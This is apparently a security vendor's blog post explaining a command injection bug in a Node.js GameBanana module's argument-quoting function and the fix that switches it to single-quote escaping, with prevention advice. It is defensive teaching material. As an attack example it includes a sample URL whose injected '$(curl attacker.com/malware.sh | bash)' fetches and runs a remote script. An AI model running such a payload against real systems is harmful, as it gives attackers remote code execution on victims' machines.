Back to Blog
critical SEVERITY5 min read

How command injection via shell metacharacter escaping happens in Node.js and how to fix it

A critical command injection vulnerability was discovered in the GameBanana provider module where the `quoteCommandArgument()` function only escaped double quotes, leaving shell metacharacters like `$()`, backticks, and other dangerous patterns exploitable. Attackers could craft malicious mod URLs on GameBanana containing shell commands that would execute when users viewed the content. The fix switches from double-quote to single-quote escaping, which prevents shell interpretation of metacharact

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js caused by incomplete shell escaping in the `quoteCommandArgument()` function. The original code only escaped double quotes with `replaceAll('"', '\\"')`, but shell metacharacters like `$(cmd)`, backticks, and `$VAR` remained exploitable. The fix changes from double-quote wrapping to single-quote wrapping with proper escape handling (`'${String(value).replaceAll("'", "'\\''")}'`), which prevents the shell from interpreting any metacharacters within the argument.

Vulnerability at a Glance

cweCWE-78
fixSwitch to single-quote escaping which prevents shell interpretation of metacharacters
riskRemote code execution through crafted URLs from GameBanana content
languageJavaScript (Node.js)
root causequoteCommandArgument() only escaped double quotes, not shell metacharacters
vulnerabilityCommand Injection via Incomplete Shell Escaping

Introduction

The gamebanana.provider.js file handles downloading and processing mod content from GameBanana, a popular game modding platform. A critical flaw in the quoteCommandArgument() function at line 42 created a severe command injection vulnerability that could allow attackers to execute arbitrary system commands on users' machines.

The vulnerability is particularly dangerous because the attack vector comes from attacker-controllable content on GameBanana itself—malicious mod creators could craft URLs containing shell metacharacters that would execute when legitimate users simply viewed or downloaded their content.

Here's the vulnerable code that was discovered:

function quoteCommandArgument(value) {
  return `"${String(value).replaceAll('"', '\\"')}"`;
}

This function attempts to safely quote command-line arguments by wrapping them in double quotes and escaping any embedded double quotes. However, this approach fundamentally misunderstands how shell escaping works.

The Vulnerability Explained

Why Double-Quote Escaping Fails

In Unix-like shells (and even Windows PowerShell), double-quoted strings still allow certain types of expansion:

  • Command substitution: $(command) or `command` will execute the enclosed command
  • Variable expansion: $VARIABLE will be replaced with the variable's value
  • Arithmetic expansion: $((expression)) will evaluate mathematical expressions

The original quoteCommandArgument() function only escaped double quotes ("), meaning an attacker could inject any of these patterns and have them executed by the shell.

Real Attack Scenario

Consider how GameBanana works: mod creators can specify alternate download URLs for their content, including links to external file hosts like MediaFire. An attacker could create a mod with a malicious alternate file source URL:

https://mediafire.com/file/x$(whoami).txt

When this URL passes through quoteCommandArgument(), it becomes:

"https://mediafire.com/file/x$(whoami).txt"

The double quotes don't prevent the shell from executing $(whoami). The command runs, and its output gets interpolated into the URL. But the danger goes far beyond whoami:

https://example.com/$(curl attacker.com/malware.sh | bash).txt

This would download and execute a malicious script with full privileges of the Node.js process—potentially giving attackers complete control over the victim's system.

Why This Is Critical

  1. Remote Code Execution: Attackers can run arbitrary commands with the user's privileges
  2. No User Interaction Required: Simply viewing mod content could trigger the exploit
  3. Trust Exploitation: Users trust GameBanana content, making social engineering trivial
  4. Full System Access: The Node.js process typically has access to filesystem, network, and can spawn additional processes

The Fix

The fix changes the quoting strategy from double quotes to single quotes:

Before (Vulnerable)

function quoteCommandArgument(value) {
  return `"${String(value).replaceAll('"', '\\"')}"`;
}

After (Fixed)

function quoteCommandArgument(value) {
  return `'${String(value).replaceAll("'", "'\\''")}'`;
}

Why Single Quotes Work

In shell scripting, single-quoted strings are literal—no expansion of any kind occurs inside them. The string '$(whoami)' is treated as the literal characters $, (, w, h, o, a, m, i, ) rather than a command to execute.

The only character that needs escaping inside single quotes is the single quote itself. The pattern '\\'' handles this by:

  1. Ending the current single-quoted string (')
  2. Adding an escaped literal single quote (\')
  3. Starting a new single-quoted string (')

So the input it's dangerous becomes 'it'\''s dangerous', which the shell interprets as the literal string it's dangerous.

Attack Neutralized

With the fix in place, the malicious URL:

https://mediafire.com/file/x$(whoami).txt

Becomes:

'https://mediafire.com/file/x$(whoami).txt'

The shell treats $(whoami) as literal text, not a command to execute. The attack is completely neutralized.

Prevention & Best Practices

1. Prefer Array-Based Argument Passing

When possible, avoid shell string construction entirely:

// Dangerous - uses shell
exec(`curl "${url}"`);

// Safer - no shell interpretation
execFile('curl', [url]);

2. Use Established Libraries

Instead of writing custom escaping functions, use battle-tested libraries like shell-escape or shell-quote:

const shellEscape = require('shell-escape');
const safeCommand = shellEscape(['curl', url]);

3. Validate and Sanitize Input

For URLs specifically, validate the format before use:

function isValidUrl(string) {
  try {
    const url = new URL(string);
    return ['http:', 'https:'].includes(url.protocol);
  } catch {
    return false;
  }
}

4. Apply Defense in Depth

  • Validate input at the boundary (URL format checking)
  • Sanitize during processing (proper escaping)
  • Use least-privilege execution contexts where possible

5. Security Testing

  • Include command injection payloads in your test suite
  • Use static analysis tools that understand taint tracking
  • Review any code that constructs shell commands

Key Takeaways

  • Never use double-quote escaping for shell arguments—it doesn't prevent $() or backtick command substitution
  • The quoteCommandArgument() function in gamebanana.provider.js required single-quote escaping to be secure
  • Attacker-controlled URLs from GameBanana could have executed arbitrary commands on users' systems
  • Single-quote wrapping with '\\'' escape pattern is the correct approach for literal shell argument passing
  • External content platforms like GameBanana are untrusted input sources—treat all data from them as potentially malicious

How Orbis AppSec Detected This

  • Source: Attacker-controllable alternate file source URLs from GameBanana mod content
  • Sink: quoteCommandArgument() function at gamebanana.provider.js:42 used in shell command construction
  • Missing control: Proper shell metacharacter escaping—only double quotes were escaped, leaving $(), backticks, and $VAR patterns exploitable
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Changed from double-quote escaping to single-quote escaping with proper handling of embedded single quotes

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability demonstrates how subtle mistakes in shell escaping can have catastrophic security consequences. The original developer's instinct to quote and escape arguments was correct, but the implementation using double quotes left a critical gap that attackers could exploit.

The fix—switching to single-quote escaping—is elegant in its simplicity but requires understanding the fundamental difference between how shells interpret single-quoted versus double-quoted strings. When building applications that interact with external content sources like GameBanana, always treat that content as untrusted and apply rigorous input validation and output escaping.

Remember: security is about understanding the execution context of your code. What seems safe in one context (JavaScript string handling) may be dangerous in another (shell command execution).

References

Frequently Asked Questions

What is command injection?

Command injection occurs when an attacker can insert malicious commands into a string that gets executed by a system shell, allowing them to run arbitrary code on the server or client machine.

How do you prevent command injection in Node.js?

Use array-based argument passing instead of shell strings, avoid `shell: true` in child_process calls, or use single-quote escaping with proper handling of embedded quotes to prevent metacharacter interpretation.

What CWE is command injection?

Command injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), which covers vulnerabilities where user input is incorporated into OS commands without proper sanitization.

Is escaping double quotes enough to prevent command injection?

No. Double-quote escaping only prevents breaking out of the quoted string but still allows shell expansion of `$(command)`, backticks, and `$VARIABLE` references within the quotes.

Can static analysis detect command injection?

Yes. Static analysis tools can trace data flow from untrusted sources to shell execution sinks and flag insufficient sanitization patterns, as demonstrated by the multi_agent_ai scanner that detected this vulnerability.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7

Related Articles

critical

How Algolia API key exposure happens in EJS templates and how to fix it

A critical vulnerability in `layout/_plugins/global/config.ejs` was exposing Algolia API credentials — including `appId` and `apiKey` — directly in rendered HTML, making them visible to any user who inspects the page source. The fix removes raw credential interpolation from the template and replaces unsafe string embedding with properly sanitized output using `JSON.stringify()`. This eliminates the risk of unauthorized Algolia API access by anyone who visits the page.

high

How unauthenticated endpoint exposure happens in Node.js Express and how to fix it

A high-severity vulnerability in the AgenticATODetectionService allowed unauthenticated users to access sensitive agent status data, trigger detection scans, and view security alerts. The fix adds authentication middleware to four critical API endpoints, ensuring only authorized users can access these sensitive operations.

critical

How unsigned auto-update code execution happens in Node.js Neutralinojs and how to fix it

A critical vulnerability in the WeekBox application's self-update mechanism allowed attackers to serve malicious binaries through man-in-the-middle attacks or repository compromise. The `app-updater.service.js` file downloaded and installed updates from GitHub Releases without enforcing cryptographic hash verification before proceeding with the update. The fix adds mandatory SHA-256 digest validation that halts the update process if a valid hash is not present in the release metadata.

high

How Denial of Service via malformed HTTP header decoding happens in Node.js @opentelemetry/propagator-jaeger and how to fix it

CVE-2026-59892 is a high-severity Denial of Service vulnerability in `@opentelemetry/propagator-jaeger` versions prior to 2.9.0, where malformed HTTP trace-context headers could cause the propagator's decoding logic to crash a Node.js application. The fix upgrades the package from 2.8.0 to 2.9.0, patching the unsafe header parsing behavior and eliminating the attack surface for any service that propagates distributed tracing headers.

critical

How server-side template injection happens in Node.js EJS and how to fix it

A critical server-side template injection vulnerability (CVE-2022-29078) was discovered in EJS version 3.1.6, allowing attackers to execute arbitrary code on the server through the `outputFunctionName` option. This vulnerability was fixed by upgrading EJS from 3.1.6 to 3.1.7 in the react-redux-bad-algo project, eliminating a dangerous remote code execution vector.

critical

How hardcoded API keys happen in Node.js client-side JavaScript and how to fix it

A critical hardcoded API key for ipregistry.co was discovered embedded as a fallback value in `src/utils.js` at line 65 of a Node.js library. This key (`f8n4kqe8pv4kii`) was visible to anyone inspecting the JavaScript bundle, allowing unauthorized use of the service. The fix removes the hardcoded fallback, requiring callers to explicitly provide their own API key.